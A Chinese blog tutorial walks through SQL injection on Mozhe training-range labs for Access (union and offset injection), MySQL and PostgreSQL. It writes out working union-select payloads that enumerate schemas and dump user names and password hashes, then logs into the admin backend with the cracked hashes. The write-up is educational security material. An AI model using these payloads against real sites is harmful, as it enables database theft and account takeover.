web安全sql注入进阶(一)

SQLFuzz字典的使用

漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。

Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。

sql模糊测试,可以通过手工配合字典注入来猜测表名、列名,或者直接暴露猜解数据库名,表名

1.sqlmap的字典
web安全sql注入进阶(一)_第1张图片
2.fuzzdb
web安全sql注入进阶(一)_第2张图片

https://github.com/sqlmapproject/sqlmap
https://github.com/fuzzdb-project/fuzzdb

SQL注入-Access联合和偏移注入
https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe
web安全sql注入进阶(一)_第3张图片
直接上墨者靶场
web安全sql注入进阶(一)_第4张图片
点击这里的超链接进入漏洞地址

web安全sql注入进阶(一)_第5张图片
先and 1=1 ,and 1=2 判断发现存在注入
access注入的话得了解它的结构,Access—>表名—>列名—>数据,它和mysql和其他数据的结构不一样,我们只需要得到表名,然后获取列名,最后得到数据。Access需要猜解表名或列名,需要借助字典暴力破解,所以Access数据库注入属于暴力猜解注入,注入的时候会出现表名或列名获取不到的情况,我们需要借助大量的字典尝试获取。

接着通过order by来判断列数
web安全sql注入进阶(一)_第6张图片
order by 5出现错误,说明有4列

然后直接union select 1,2,3,4 from admin 进行猜测发现有回显,表示有admin这个表
web安全sql注入进阶(一)_第7张图片
那么表名—>admin 列名—>未知

1.暴力拆解,判断列名
id=1 and exists(select username from admin) //页面返回正常,说明存在username列
id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列
id=1 and exists(select id from admin) //页面返回正常,说明存在id列
web安全sql注入进阶(一)_第8张图片

web安全sql注入进阶(一)_第9张图片

web安全sql注入进阶(一)_第10张图片
这种方法可以手工注入配合字典

2.偏移注入
偏移注入:解决表名获取到,获取不到列名的情况
这里原先联合查询语句:http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,3,4 from admin

然后我们从4这里开始用*代替直到它回显正常

http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,3,* from admin

web安全sql注入进阶(一)_第11张图片

http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,* from admin

web安全sql注入进阶(一)_第12张图片

http://219.153.49.228:42893/new_list.asp?id=1 union select 1,* from admin

web安全sql注入进阶(一)_第13张图片
这里偏移了3个说明admin表下有3列
那么这里如果还要偏移的话需要再偏移3个,这里只能到union select 1,* from admin,所以二级偏移不行,二级,三级如下

* from (admin as a inner join admin as b on a.id = b.id) //二级偏移
* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id) //三级偏移

web安全sql注入进阶(一)_第14张图片
等到密码MD5解密登陆后台

SQL注入-Mysql联合注入
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
同上直接上墨者靶场
web安全sql注入进阶(一)_第15张图片
直接老方法 and 1=1 页面正常,and 1=2 页面错误 id=1 a页面错误 说明存在sql注入
拿到mysql先收集一波信息,查询函数:database() 数据库名、version() 数据库版本、user() 数据库用户、@@version_compile_os 操作系统

我们来收集康康,先order by 判断列数
web安全sql注入进阶(一)_第16张图片
有4列直接联合查询 union select 1,2,3,4
web安全sql注入进阶(一)_第17张图片
发现没有回显,其实这是个显示位的问题,只需要让id=-1 报错,执行后面的sql语句就能回显
web安全sql注入进阶(一)_第18张图片
信息收集,数据库名
web安全sql注入进阶(一)_第19张图片
数据库版本
web安全sql注入进阶(一)_第20张图片
数据库用户
web安全sql注入进阶(一)_第21张图片
操作系统
web安全sql注入进阶(一)_第22张图片
数据库名—>mozhe_Discuz_StormGroup
这里mysql版本是5.0以上,注意mysql5.0以下没有数据库名information_schema,在MYSQL5包含以上版本自带的数据库名information_schema,它是一个存储有MYSQL所有数据库名,表名,列名信息的数据库,MYSQL5以下版本不自带。我们可以借助查询information_schema获取指定数据库名下的表名或列名信息,从而注入实现有根据查询。

information_schema.tables表下的列table_name 存储表名信息的表
web安全sql注入进阶(一)_第23张图片
information_schema.columns表下的列column_name 存储表名信息的表
web安全sql注入进阶(一)_第24张图片
information_schema.schemata表下的列shcema_name 存储数据库名信息的表
web安全sql注入进阶(一)_第25张图片
table_schema=“mozhe_Discuz_StormGroup” 指定数据库
web安全sql注入进阶(一)_第26张图片
这里需要说明一下几个函数
concat的功能:将多个字符串连接成一个字符串。语法:concat(str1,str2...)

concat_ws功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)。语法:concat_ws(separator,str1,str2..)

group_concat功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。语法:group_concat([distinct]要连接的字段[order by 排序字段 asc/desc] [separator‘分隔符’])

那么就可以构造sql语句-1 union select 1,(group_concat(table_name)),3,4 from information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”

web安全sql注入进阶(一)_第27张图片
这里就发现有两个表StormGroup_member,notice,我们主要关注StormGroup_member表
现在有了数据库名,表名,就需要列名

构造sql语句-1 union select 1,(group_concat(column_name)),3,4 from information_schema.columns where table_name=“StormGroup_member”
web安全sql注入进阶(一)_第28张图片
现在有列名就可以直接获取指定表名-1 union select 1,name,password,4 from StormGroup_member
web安全sql注入进阶(一)_第29张图片
发现这个并没有全通过group_concat函数进行查询把它输出到一列,-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
web安全sql注入进阶(一)_第30张图片

SQL注入-PostgreSQL联合注入

同上直接上墨者靶场,访问得到
https://www.mozhe.cn/bug/detail/ZUd5cld1TU9zdEJ0NWFaSTNXeERRdz09bW96aGUmozhe
web安全sql注入进阶(一)_第31张图片
Sql注入之Postgresql参考:https://www.cnblogs.com/she11s/p/12326629.html
还是通过 and 1=1 ,and 1=2 判断是否存在注入,这里order by 发现有4列
web安全sql注入进阶(一)_第32张图片
联合注入用法和mysql类似
1 union select null,null,null, null
web安全sql注入进阶(一)_第33张图片
发现没有回显,把它改成-1 union select null,null,null, null
web安全sql注入进阶(一)_第34张图片
再加上一个version()查看版本,-1 union select null,version(),null, null
web安全sql注入进阶(一)_第35张图片
查询数据库名称构造sql语句
-1 union select null,current_database(),null, null,数据库名:mozhedvcms
web安全sql注入进阶(一)_第36张图片

查询表名构造sql语句,发现只有一个表名
-1 union select null,relname,null, null from pg_stat_user_tables
web安全sql注入进阶(一)_第37张图片
查询多个表名构造sql语句,表名:reg_users
-1 union select null,relname,null, null from pg_stat_user_tables limit 1 offset 1 通过limit来控制表名,这里查询出来表名reg_users
web安全sql注入进阶(一)_第38张图片
查询列名,列名:password name
union select null,column_name,null,null from information_schema.columns where table_name=‘reg_users’
web安全sql注入进阶(一)_第39张图片
再然后通过 limit来控制 union select null,column_name,null,null from information_schema.columns where table_name=‘reg_users’ limit 1 offset 1
web安全sql注入进阶(一)_第40张图片
web安全sql注入进阶(一)_第41张图片

查询数据 union select null,id,null,null from reg_users
web安全sql注入进阶(一)_第42张图片 列出所有用户名和密码 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users
web安全sql注入进阶(一)_第43张图片

拿到密码md5解密配合账号登陆后台
web安全sql注入进阶(一)_第44张图片

web安全sql注入进阶(一)_第45张图片

你可能感兴趣的:(web安全,sql,web安全)